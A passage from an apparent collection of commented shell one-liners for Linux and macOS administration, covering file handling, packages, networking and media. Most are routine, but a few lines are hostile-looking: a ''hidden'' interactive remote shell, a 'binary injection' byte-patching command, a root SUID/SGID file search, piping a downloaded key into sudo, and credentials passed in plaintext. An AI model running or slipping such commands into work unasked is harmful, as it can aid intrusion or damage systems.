  6194. # create a simple version of ls with extended output
  6195. alias l='ls -CFlash'
  6196.  
  6197. # Make info pages much less painful
  6198. pinfo date
  6199.  
  6200. # print battery , thermal , and cooling info
  6201. acpi -tc
  6202.  
  6203. # View a man page on a nice interface
  6204. yelp man:foo
  6205.  
  6206. # Emptying a text file in one shot
  6207. :1,$d
  6208.  
  6209. # Change files case, without modify directories, recursively
  6210. find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
  6211.  
  6212. # Create subversion undo point
  6213. function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }
  6214.  
  6215. # force unsupported i386 commands to work on amd64
  6216. setarch i386 [command [args]]
  6217.  
  6218. # Combine all .mpeg files in current directory into one big one.
  6219. cat *.mpg > all.mpg
  6220.  
  6221. # Display condensed log of changes to current git repository
  6222. git log --pretty=oneline
  6223.  
  6224. # Watch the National Debt clock
  6225. watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
  6226.  
  6227. # Output system statistics every 5 seconds with timestamp
  6228. while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
  6229.  
  6230. # Tail a log file with long lines truncated
  6231. tail -f logfile.log | cut -b 1-80
  6232.  
  6233. # positions the mysql slave at a specific master position
  6234. slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;
  6235.  
  6236.  
  6237.  
  6238. # Spell check the text in clipboard (paste the corrected clipboard if you like)
  6239. xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
  6240.  
  6241. # Display information sent by browser
  6242. nc -l 8000
  6243.  
  6244. # Determine the version of a specific package with RPM
  6245. rpm -q --qf "%{VERSION}\n" redhat-release
  6246.  
  6247. # add a gpg key to aptitute package manager in a ubuntu system
  6248. wget -q http://xyz.gpg -O- | sudo apt-key add -
  6249.  
  6250. # add static arp entry to default gateway, arp poison protection
  6251. arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
  6252.  
  6253. # Quick calculator at the terminal
  6254. echo "$math_expr" | bc -l
  6255.  
  6256. # burn a isofile to cd or dvd
  6257. cdrecord -v dev=/dev/cdrom yourimage.iso
  6258.  
  6259. # Remove embedded fonts from a pdf.
  6260. gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf
  6261.  
  6262. # keep an eye on system load changes
  6263. watch -n 7 -d 'uptime | sed s/.*users,//'
  6264.  
  6265. # Quick plotting of a function
  6266. seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
  6267.  
  6268. # Averaging columns of numbers
  6269. awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
  6270.  
  6271. # Creates a proxy based on tsocks.
  6272. alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
  6273.  
  6274. # Add thousand separator with sed, in a file or within pipe
  6275. sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
  6276.  
  6277. # start vim in diff mode
  6278. vimdiff file{1,2}
  6279.  
  6280. # Time Synchronisation with NTP
  6281. ntpdate ntp.ubuntu.com pool.ntp.org
  6282.  
  6283. # Quicker move to parent directory
  6284. alias ..='cd ..'
  6285.  
  6286. # Lists architecture of installed RPMs
  6287. rpm -qa --queryformat "%{NAME} %{ARCH}\n"
  6288.  
  6289. # Display usb power mode on all devices
  6290. for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
  6291.  
  6292. # Display a list of RPMs installed on a particular date
  6293. rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
  6294.  
  6295. # create a backup for all directories from current dir
  6296. find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
  6297.  
  6298. # Display 6 largest installed RPMs sorted by size (descending)
  6299. rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs
  6300.  
  6301. # Convert embedded spaces in filenames to "_" (underscore)
  6302. ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"
  6303.  
  6304. # Display kernel profile of currently executing functions in Solaris.
  6305. lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
  6306.  
  6307. # List all the files that have been deleted while they were still open.
  6308. lsof | egrep "^COMMAND|deleted"
  6309.  
  6310. # Search through all installed packages names (on RPM systems)
  6311. rpm -qa \*code\*
  6312.  
  6313.  
  6314.  
  6315. # Binary injection
  6316. echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
  6317.  
  6318. # Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
  6319. ssh -NL 2000:remotehost:22 remotehost
  6320.  
  6321. # Change the extension of a filename by using rename to convert
  6322. rename .JPG .jpg *.JPG
  6323.  
  6324. # Repeatedly send a string to stdout-- useful for going through "yes I agree" screens
  6325. yes "text" | annoying_installer_program # "text" defaults to the letter y
  6326.  
  6327. # Copy the text from the 3rd line to the 9th line into a new file with VI
  6328. :3,9w new_file
  6329.  
  6330. # cat stdout of multiple commands
  6331. cat <( command1 arg arg ) <( command2 arg ) ...
  6332.  
  6333. # Find commets in jpg files.
  6334. find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
  6335.  
  6336. # View a file with less, starting at the end of the file
  6337. less +G <filename>
  6338.  
  6339. # vi case insensitive search
  6340. :set ic
  6341.  
  6342. # "hidden" remote shell
  6343. ssh -T user@host /bin/bash -i
  6344.  
  6345. # Find all files with root SUID or SGID executables
  6346. sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls
  6347.  
  6348. # Delete empty directories recursively
  6349. find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;
  6350.  
  6351. # Make backups recurse through directories
  6352. find -type -f -exec cp {} {}.bak \;
  6353.  
  6354. # Remove several files with ease
  6355. rm file{1..10}
  6356.  
  6357. # Prints new content of files
  6358. tail -f file1 (file2 .. fileN)
  6359.  
  6360. # replace a character/word/string in a file using vim
  6361. :%s/old/new/g
  6362.  
  6363. # Extract icons from windows exe/dll
  6364. wrestool -x --output . -t14 /path/to/your-file.exe
  6365.  
  6366. # Know which version dpkg/apt considers more recent
  6367. dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
  6368.  
  6369. # make a list of movies(.m3u).
  6370. find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
  6371.  
  6372. # Label EXT2/EXT3 File System
  6373. e2label /dev/vg0/lv0 MyFiles
  6374.  
  6375. # Replace "space" char with "dot" char in current directory file names
  6376. ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
  6377.  
  6378. # sort ugly text
  6379. sort -bdf
  6380.  
  6381. # Recursive Search and Replace
  6382. perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`
  6383.  
  6384. # remove all snapshots from all virtual machines in vmware esx
  6385. time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
  6386.  
  6387. # Print the last modified file
  6388. ls -t1 | head -n1
  6389.  
  6390.  
  6391.  
  6392. # Symlink all files from a base directory to a target directory
  6393. for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
  6394.  
  6395. # Create passwords and store safely with gpg
  6396. tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg
  6397.  
  6398. # Type strait into a file from the terminal.
  6399. cat /dev/tty > FILE
  6400.  
  6401. # convert a pdf to jpeg
  6402. sips -s format jpeg Bild.pdf --out Bild.jpg
  6403.  
  6404. # Cleanly manage tempfiles in scripts
  6405. TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0
  6406.  
  6407. # 1:1 copy of a volume
  6408. find / -xdev -print | cpio -pdmuv /mnt/mydisk
  6409.  
  6410. # sort through source to find most common authors
  6411. find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
  6412.  
  6413. # Drop or block attackers IP with null routes
  6414. sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
  6415.  
  6416. # split a string (3)
  6417. OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
  6418.  
  6419. # get your terminal back after it's been clobbered
  6420. reset
  6421.  
  6422. # Set file access control lists
  6423. setfacl -m u:john:r-- myfile
  6424.  
  6425. # create an screenshot, upload it to your server via scp and then open that screenshot in firefox
  6426. FILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
  6427.  
  6428. # Compress logs older than 7 days
  6429. find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
  6430.  
  6431. # Quickest way to sort/display # of occurences
  6432. "some line input" | sort | uniq -c | sort -nr
  6433.  
  6434. # Kill any lingering ssh processes
  6435. for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done
  6436.  
  6437. # Copy a file from a remote server to your local box using on-the-fly compression
  6438. rsync -Pz user@remotehost:/path/file.dat .
  6439.  
  6440. # Show current iptables rules, with line numbers
  6441. iptables -nL -v --line-numbers
  6442.  
  6443. # Find out the last times your system was rebooted (for the duration of wtmp).
  6444. last reboot
  6445.  
  6446. # Follow a new friend on twitter
  6447. curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true
  6448.  
  6449. # read a file line by line and perform some operation on each line
  6450. while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
  6451.  
  6452. # doing some floating point math
  6453. echo "8000000/(20*6*86400)" | bc -l
  6454.  
  6455. # List all active access_logs for currently running Apache or Lighttpd process
  6456. lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'
  6457.  
  6458. # Empty the linux buffer cache
  6459. sync && echo 3 > /proc/sys/vm/drop_caches
  6460.  
  6461. # Delete .svn directories and content recursively
  6462. `find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
  6463.  
  6464. # Clean up after a poorly-formed tar file
  6465. tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
  6466.  
  6467.  
  6468.  
  6469. # Simple example of the trap command
  6470. trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
  6471.  
  6472. # Simple complete system backup excluding files or directories
  6473. tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
  6474.  
  6475. # listen to ram
  6476. cat /dev/mem > /dev/audio
  6477.  
  6478. # Comma insertions
  6479. perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
  6480.  
  6481. # Double your disk read performance in a single command
  6482. blockdev --setra 1024 /dev/sdb
  6483.  
  6484. # dump database from postgresql to a file
  6485. pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
  6486.  
  6487. # Generate a Random Password
  6488. dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
  6489.  
  6490. # Make a high definition VNC
  6491. vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
  6492.  
  6493. # generate random number
  6494. echo $RANDOM
  6495.  
  6496. # Finding the number of cpu's
  6497. grep -c -e '^cpu[0-9]\+' /proc/stat
  6498.  
  6499. # find text in a file
  6500. find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
  6501.  
  6502. # Recursively move folders/files and preserve their permissions and ownership perfectly
  6503. cd /source/directory; tar cf - . | tar xf - -C /destination/directory
  6504.  
  6505. # Output files without comments or empty lines
  6506. grep -v "^\($\|#\)" <filenames>
  6507.  
  6508. # faster version of ls *
  6509. echo *
  6510.  
  6511. # remove leading blank lines
  6512. sed '/./,$!d'
  6513.  
  6514. # Search inside a folder of jar/zip files
  6515. find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
  6516.  
  6517. # Netstat Connection Check
  6518. netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail
  6519.  
  6520. # Display command lines visible on commandlinefu.com homepage
  6521. ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'
  6522.  
  6523. # Delete line number 10 from file
  6524. sed -i '10d' <somefile>
  6525.  
  6526. # Gzip files older than 10 days matching *
  6527. find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
  6528.  
  6529. # Determine an image's dimensions
  6530. identify -format "%wx%h" /path/to/image.jpg
  6531.  
  6532. # Mac OS-X-> copy and paste things to and from the clipboard from the shell
  6533. command | pbcopy && pbpaste
  6534.  
  6535. # Email a file to yourself
  6536. uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
  6537.  
  6538. # BourneShell: Go to previous directory
  6539. cd -
  6540.  
  6541. # purge all packages marked with 'rc'
  6542. sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
  6543.  
  6544.  
  6545.  
  6546. # Concatenates lines using sed
  6547. sed -e :a -e '/$/N;s/\n/ /;ta' <filename>
  6548.  
  6549. # Display your ${PATH}, one directory per line
  6550. echo $PATH | tr : \\n
  6551.  
  6552. # Copy text to the clipboard
  6553. cat SomeFile.txt | pbcopy
  6554.  
  6555. # HTTP Get of a web page via proxy server with login credentials
  6556. curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
  6557.  
  6558. # Check if running in an X session
  6559. if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
  6560.  
  6561. # Recover cvs ": no such repository" error
  6562. find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
  6563.  
  6564. # delete unversioned files in a checkout from svn
  6565. svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
  6566.  
  6567. # Rsync between two servers
  6568. rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/
  6569.  
  6570. # replace XX by YY in the the current directory and cd to it. ( in ZSH )
  6571. cd XX YY
  6572.  
  6573. # Show a line when a "column" matchs
  6574. awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
  6575.  
  6576. # Split and join with split and cat.
  6577. split -b 1k file ; cat x* > file
  6578.  
  6579. # Sort IP addresses
  6580. sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
  6581.  
  6582. # Check executable shared library usage
  6583. ldd <executable binary>
  6584.  
  6585. # fix broken permissions
  6586. find /path -type d -perm 777 -exec chmod 755 {} \;
  6587.  
  6588. # Use color grep by default
  6589. alias grep 'gnu grep -i --color=auto'
  6590.  
  6591. # finding cr-lf files aka dos files with ^M characters
  6592. find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;
  6593.  
  6594. # Make a thumbnail image of first page of a PDF.
  6595. convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
  6596.  
  6597. # Import/clone a Subversion repo to a git repo
  6598. git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
  6599.  
  6600. # Analyze, check, auto-repair and optimize Mysql Database
  6601. mysqlcheck -a --auto-repair -c -o -uroot -p [DB]
  6602.  
  6603. # Gives you what's between first string and second string included.
  6604. sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC" | tr "~" "\n"
  6605.  
  6606. # Get My Public IP Address
  6607. curl -s http://whatismyip.org/
  6608.  
  6609. # download a sequence of vim patch
  6610. seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c {};
  6611.  
  6612. # trace the system calls made by a process (and its children)
  6613. strace -f -s 512 -v ls -l
  6614.  
  6615. # Getting GnuPG Public Keys From KeyServer
  6616. gpg --keyserver pgp.surfnet.nl --recv-key 19886493
  6617.  
  6618. # The simplest way to transport information over a network
  6619. (on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever;
  6620.  
  6621.  
  6622.  
  6623. # Binary search/replace
  6624. xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
  6625.  
  6626. # "I Feel Lucky" for Google Images
  6627. echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
  6628.  
  6629. # modify a file in place with perl
  6630. perl -pi -e 's/THIS/THAT/g' fileglob*
  6631.  
  6632. # Create a DOS floppy image
  6633. dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
  6634.  
  6635. # Test for Weak SSL Ciphers
  6636. openssl s_client -connect [host]:[sslport] -cipher LOW
  6637.  
  6638. # Translate your terminal into Swedish Chef
  6639. perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}'
  6640.  
  6641. # Change every instance of OLD to NEW in file FILE
  6642. sed -i 's/OLD/NEW/g' FILE
  6643.  
  6644. # Getting started with tcpdump
  6645. tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
  6646.  
  6647. # Dump root ext3 fs over ssh
  6648. dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
  6649.  
  6650. # Resets a terminal that has been messed up by binary input
  6651. reset
  6652.  
  6653. # Display total Kb/Mb/Gb of a folder and each file
  6654. du -hc *
  6655.  
  6656. # easily convert one unit to another
  6657. units "2048 bytes" "kibibytes"
  6658.  
  6659. # show the date every rpm was installed
  6660. rpm -qa --last
  6661.  
  6662. # command line to optimize all table from a mysql database
  6663. mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "optimize table " $1 ";"}' | mysql -u uname dbname
  6664.  
  6665. # To find the count of each open file on a system (that supports losf)
  6666. sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
  6667.  
  6668. # rgrep: recursive grep without .svn
  6669. alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
  6670.  
  6671. # get a directory from one machine to another using tar and ssh
  6672. ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -
  6673.  
  6674. # A nice command for summarising repeated information
  6675. alias counts=sort | uniq -c | sort -nr
  6676.  
  6677. # Run a command on a remote machine
  6678. ssh user@host "ps aux | grep httpd | wc -l"
  6679.  
  6680. # Display a list of all PHP classes that are called statically
  6681. find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c
  6682.  
  6683. # Find UID of current user.
  6684. echo $UID
  6685.  
  6686. # Count lines of code across multiple file types, sorted by least amount of code to greatest
  6687. find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
  6688.  
  6689. # This is N5 sorta like rot13 but with numbers only
  6690. echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
  6691.  
  6692. # Stat each file in a directory
  6693. find . -maxdepth 1 -type f | xargs stat
  6694.  
  6695. # Get Lorum Ipsum random text from lorumipsum.com
  6696. lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
  6697.  
  6698.  
  6699.  
  6700. # Converting video file (.flv, .avi etc.) to .3gp
  6701. ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
  6702.  
  6703. # Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great for init scripts
  6704. G=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G
  6705.  
  6706. # Converts uppercase chars in a string to lowercase
  6707. echo StrinG | tr '[:upper:]' '[:lower:]'
  6708.  
  6709. # Get your external IP address
  6710. curl ifconfig.me/all/json
  6711.  
  6712. # Find if $b is in $a in bash
  6713. if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi
  6714.  
  6715. # copy from host1 to host2, through your host
  6716. ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxzC <path>
  6717.  
  6718. # Extract title from HTML files
  6719. awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html
  6720.  
  6721. # Juste a reminder that this works.
  6722. true || false && echo true || echo false
  6723.  
  6724. # Download a new release of a program that you already have very quickly
  6725. zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync
  6726.  
  6727. # Measure, explain and minimize a computer's electrical power consumption
  6728. sudo powertop
  6729.  
  6730. # List all packages by installed size (Bytes) on rpm distros
  6731. rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
  6732.  
  6733. # Extract title from HTML files
  6734. sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html
  6735.  
  6736. # remove empty lines
  6737. sed '/^$/d'
  6738.  
  6739. # convert ascii string to hex
  6740. echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'
  6741.  
  6742. # Play all the music in a folder, on shuffle
  6743. mplayer -shuffle *
  6744.  
  6745. # Run command from another user and return to current
  6746. su - $user -c <command>
  6747.  
  6748. # Open a file in a GTK+ dialog window
  6749. zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd
  6750.  
  6751. # Delete all files older than X in given path
  6752. find . -mtime +10 -delete
  6753.  
  6754. # Load all files (including in subdirs), whose name matches a substring, into Vim
  6755. vim $(find . ! -path \*.svn\* -type f -iname \*foo\*)
  6756.  
  6757. # Take a file as input (two columns data format) and sum values on the 2nd column for all lines that have the same value in 1st column
  6758. awk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file
  6759.  
  6760. # remove oprhan package on debian based system
  6761. sudo deborphan | xargs sudo apt-get -y remove --purge
  6762.  
  6763. # Extracting frames from a video as jpeg files
  6764. mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames
  6765.  
  6766. # Generic shell function for modifying files in-place
  6767. inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; }
  6768.  
  6769. # Display error pages in report format
  6770. sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c
  6771.  
  6772. # count of files from each subfolder
  6773. for i in `find /home/ -maxdepth 1 -type d`; do echo -n $i " ";find $i|wc -l; done
  6774.  
  6775.  
  6776.  
  6777. # most used unix commands
  6778. cut -d\ -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/ &/g'
  6779.  
  6780. # How to speedup the Ethernet device
  6781. sudo ethtool -s eth0 speed 100 duplex full
  6782.  
  6783. # Delete leading whitespace from the start of each line
  6784. sed 's/^\s*//' input.txt
  6785.  
  6786. # Delete leading whitespace from the start of each line
  6787. sed 's/^[ \t]*//' input.txt
  6788.  
  6789. # Check response time of webpage
  6790. curl -s -w "\nResponse time:\t%{time_total}s\n" -o /dev/null http://www.commandlinefu.com
  6791.  
  6792. # statistics in one line
  6793. perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename
  6794.  
  6795. # tar directory and compress it with showing progress and Disk IO limits
  6796. tar cf - dirA | pv --size `du -sh dirA | cut -f1` --rate-limit 800k | bzip2 > a.tar.bz2
  6797.  
  6798. # Change user within ssh session retaining the current MIT cookie for X-forwarding
  6799. su username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"
  6800.  
  6801. # Working random fact generator
  6802. wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
  6803.  
  6804. # Send your svn diff to meld
  6805. svn diff --diff-cmd='meld' -r 100:BASE FILE
  6806.  
  6807. # Capture screen and mic input using FFmpeg and ALSA
  6808. ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4
  6809.  
  6810. # Simple addicting bash game.
  6811. while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done
  6812.  
  6813. # Change Mac OS X Login Picture
  6814. defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png"
  6815.  
  6816. # Drag A Dashboard Widget Onto OS X Desktop
  6817. defaults write com.apple.dashboard devmode YES
  6818.  
  6819. # Convert an ISO file to DMG format in OS X Terminal
  6820. hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg
  6821.  
  6822. # Convert a DMG file to ISO in OS X Terminal
  6823. hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso
  6824.  
  6825. # Cleanly kill a process
  6826. Cleankill () { kill -s HUP $1; sleep 1 ; kill -s KILL $1 > /dev/null 2>1;}
  6827.  
  6828. # Leap year calculation
  6829. leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; }
  6830.  
  6831. # List all execs in $PATH, usefull for grepping the resulting list
  6832. find ${PATH//:/ } -iname "*admin*" -executable -type f
  6833.  
  6834. # Print Asterisk phone logs
  6835. phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; }
  6836.  
  6837. # SED - Substitute string in next line
  6838. sed -i.backup '/patter/{n;s/foo/bar/g}' file
  6839.  
  6840. # Set the hardware date and time based on the system date
  6841. hwclock --systohc -utc
  6842.  
  6843. # Colorize svn stat
  6844. svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/"
  6845.  
  6846. # Upload an image to Twitpic
  6847. curl -F "username=mytwiterlogin" -F "password=mytwitterpassword" -F "message=My image description" -F media=@"./image.png" http://twitpic.com/api/uploadAndPost
  6848.  
  6849. # Find how much of your life you've wasted coding in the current directory
  6850. find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l | tail -n 1
  6851.  
  6852.  
  6853.  
  6854. # Truncate 0.3 sec from an audio file using sox
  6855. sox input.wav output.wav reverse trim 00:00:00.3 reverse
  6856.  
  6857. # Print a row of 50 hyphens
  6858. for i in `seq 1 1 50`; do echo -n -; done
  6859.  
  6860. # Change attributes of files so you can edit them
  6861. sudo chattr -i <file that cannot be modified>
  6862.  
  6863. # Recursively scan directories for mp3s and pass them to mplayer
  6864. rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing
  6865.  
  6866. # Count threads of a jvm process
  6867. ps uH p <PID_OF_U_PROCESS> | wc -l
  6868.  
  6869. # Number of files in a SVN Repository
  6870. svn log -v --xml file:///path/to/rep | grep kind=\"file\"|wc -l
  6871.  
  6872. # Currency Conversion
  6873. currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; }
  6874.  
  6875. # Normalize volume in your mp3 library
  6876. find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +
  6877.  
  6878. # watch your network load on specific network interface
  6879. watch -n1 'ifconfig eth0|grep bytes'
  6880.  
  6881. # dump the whole database
  6882. mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE
  6883.  
  6884. # dump the whole database
